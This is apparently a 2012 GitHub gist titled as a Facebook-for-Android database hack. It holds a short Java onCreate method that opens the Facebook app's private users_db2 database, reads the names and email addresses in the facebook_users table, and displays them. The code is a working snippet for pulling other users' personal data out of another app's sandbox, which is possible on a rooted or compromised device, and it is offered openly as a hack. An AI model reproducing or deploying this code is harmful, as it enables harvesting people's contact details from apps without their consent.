Created
December 4, 2012 14:27
HackFacebookForAndroidDtabases
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.activity_sudo); | |
SQLiteDatabase userDB = SQLiteDatabase.openOrCreateDatabase( | |
"/data/data/com.facebook.katana/databases/users_db2", null); | |
Cursor cursor = userDB.query(Scheme.TABLE, Scheme.COLUMNSS, null, null, | |
null, null, null, null); | |
cursor.moveToFirst(); | |
StringBuilder output = new StringBuilder(); | |
while (cursor.moveToNext()) { | |
output.append(cursor.getString(0)).append(":") | |
.append(cursor.getString(1)).append("\n"); | |
} | |
((TextView) findViewById(R.id.main_text)).setText(output); | |
} | |
private static class Scheme { | |
private Scheme() { | |
} | |
private static final String TABLE = "facebook_users"; | |
private static final String[] COLUMNSS = { "name", "email_addresses" }; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment